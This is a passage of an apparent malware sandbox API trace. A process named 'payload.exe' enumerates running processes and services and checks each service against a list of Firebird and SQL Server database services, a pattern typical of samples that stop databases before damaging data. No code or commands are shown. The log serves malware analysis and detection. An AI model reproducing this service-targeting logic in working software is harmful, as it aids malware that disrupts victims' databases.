(lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0157.352] lstrlenW (lpString="SystemEventsBroker") returned 18 [0157.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0157.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0157.352] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0157.352] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0157.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0157.352] lstrlenW (lpString="Themes") returned 6 [0157.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0157.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0157.352] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0157.352] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0157.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0157.352] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0157.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0157.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0157.352] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0157.352] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0157.352] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42479b0 | out: hHeap=0x660000) returned 1 [0157.353] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x374 [0157.355] Process32FirstW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0157.356] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0157.356] lstrlenW (lpString="System") returned 6 [0157.356] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0157.357] lstrlenW (lpString="smss.exe") returned 8 [0157.357] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0157.357] lstrlenW (lpString="csrss.exe") returned 9 [0157.357] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0157.358] lstrlenW (lpString="wininit.exe") returned 11 [0157.358] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0157.359] lstrlenW (lpString="csrss.exe") returned 9 [0157.359] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0157.359] lstrlenW (lpString="winlogon.exe") returned 12 [0157.359] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0157.360] lstrlenW (lpString="services.exe") returned 12 [0157.360] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0157.360] lstrlenW (lpString="lsass.exe") returned 9 [0157.360] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.361] lstrlenW (lpString="svchost.exe") returned 11 [0157.361] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0157.361] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0157.361] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0157.362] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0157.362] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.363] lstrlenW (lpString="svchost.exe") returned 11 [0157.363] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0157.363] lstrlenW (lpString="dwm.exe") returned 7 [0157.363] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.364] lstrlenW (lpString="svchost.exe") returned 11 [0157.364] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.364] lstrlenW (lpString="svchost.exe") returned 11 [0157.364] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.365] lstrlenW (lpString="svchost.exe") returned 11 [0157.365] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.366] lstrlenW (lpString="svchost.exe") returned 11 [0157.366] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.366] lstrlenW (lpString="svchost.exe") returned 11 [0157.366] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.367] lstrlenW (lpString="svchost.exe") returned 11 [0157.367] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.367] lstrlenW (lpString="svchost.exe") returned 11 [0157.367] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.368] lstrlenW (lpString="svchost.exe") returned 11 [0157.368] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.368] lstrlenW (lpString="svchost.exe") returned 11 [0157.368] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.369] lstrlenW (lpString="svchost.exe") returned 11 [0157.369] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0157.370] lstrlenW (lpString="spoolsv.exe") returned 11 [0157.370] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.370] lstrlenW (lpString="svchost.exe") returned 11 [0157.370] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0157.371] lstrlenW (lpString="audiodg.exe") returned 11 [0157.371] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0157.371] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0157.371] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0157.372] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0157.372] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0157.372] lstrlenW (lpString="Memory Compression") returned 18 [0157.373] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0157.373] lstrlenW (lpString="sihost.exe") returned 10 [0157.373] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.374] lstrlenW (lpString="svchost.exe") returned 11 [0157.374] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0157.374] lstrlenW (lpString="taskhostw.exe") returned 13 [0157.374] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0157.375] lstrlenW (lpString="msoia.exe") returned 9 [0157.375] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0157.375] lstrlenW (lpString="explorer.exe") returned 12 [0157.375] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0157.376] lstrlenW (lpString="SearchUI.exe") returned 12 [0157.376] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0157.376] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0157.377] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0157.377] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0157.377] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0157.378] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0157.378] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0157.378] lstrlenW (lpString="payload.exe") returned 11 [0157.378] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0157.379] lstrlenW (lpString="cmd.exe") returned 7 [0157.379] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0157.379] lstrlenW (lpString="conhost.exe") returned 11 [0157.379] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf98, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0157.380] lstrlenW (lpString="mode.com") returned 8 [0157.380] Process32NextW (in: hSnapshot=0x374, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf98, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0157.380] CloseHandle (hObject=0x374) returned 1 [0157.381] Sleep (dwMilliseconds=0x1f4) [0157.995] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69dad8 [0157.995] EnumServicesStatusExW (in: hSCManager=0x69dad8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 0 [0157.995] GetLastError () returned 0xea [0157.995] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1c30) returned 0x427ddc8 [0157.995] EnumServicesStatusExW (in: hSCManager=0x69dad8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x427ddc8, cbBufSize=0x1c30, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x427ddc8, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 1 [0157.996] CloseServiceHandle (hSCObject=0x69dad8) returned 1 [0157.996] lstrlenW (lpString="Appinfo") returned 7 [0157.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0157.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0157.996] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0157.996] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0157.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0157.996] lstrlenW (lpString="AppXSvc") returned 7 [0157.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0157.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0157.996] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0157.997] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0157.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0157.997] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0157.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0157.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0157.997] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0157.997] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0157.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0157.997] lstrlenW (lpString="Audiosrv") returned 8 [0157.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0157.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0157.997] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0157.997] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0157.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0157.997] lstrlenW (lpString="BFE") returned 3 [0157.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0157.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0157.997] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0157.997] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0157.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0157.997] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0157.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0157.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0157.997] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0157.997] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0157.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0157.997] lstrlenW (lpString="CDPSvc") returned 6 [0157.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0157.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0157.997] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0157.997] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0157.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0157.997] lstrlenW (lpString="ClickToRunSvc") returned 13 [0157.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0157.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0157.998] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0157.998] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0157.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0157.998] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0157.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0157.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0157.998] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0157.998] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0157.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0157.998] lstrlenW (lpString="CryptSvc") returned 8 [0157.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0157.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0157.998] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0157.998] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0157.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0157.998] lstrlenW (lpString="DcomLaunch") returned 10 [0157.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0157.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0157.998] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0157.998] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0157.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0157.998] lstrlenW (lpString="DeviceAssociationService") returned 24 [0157.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0157.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0157.998] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0157.998] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0157.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0157.998] lstrlenW (lpString="Dhcp") returned 4 [0157.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0157.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0157.998] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0157.998] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0157.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0157.999] lstrlenW (lpString="Dnscache") returned 8 [0157.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0157.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0157.999] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0157.999] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0157.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0157.999] lstrlenW (lpString="DPS") returned 3 [0157.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0157.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0157.999] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0157.999] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0157.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0157.999] lstrlenW (lpString="DusmSvc") returned 7 [0157.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0157.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0157.999] lstrcmpiW 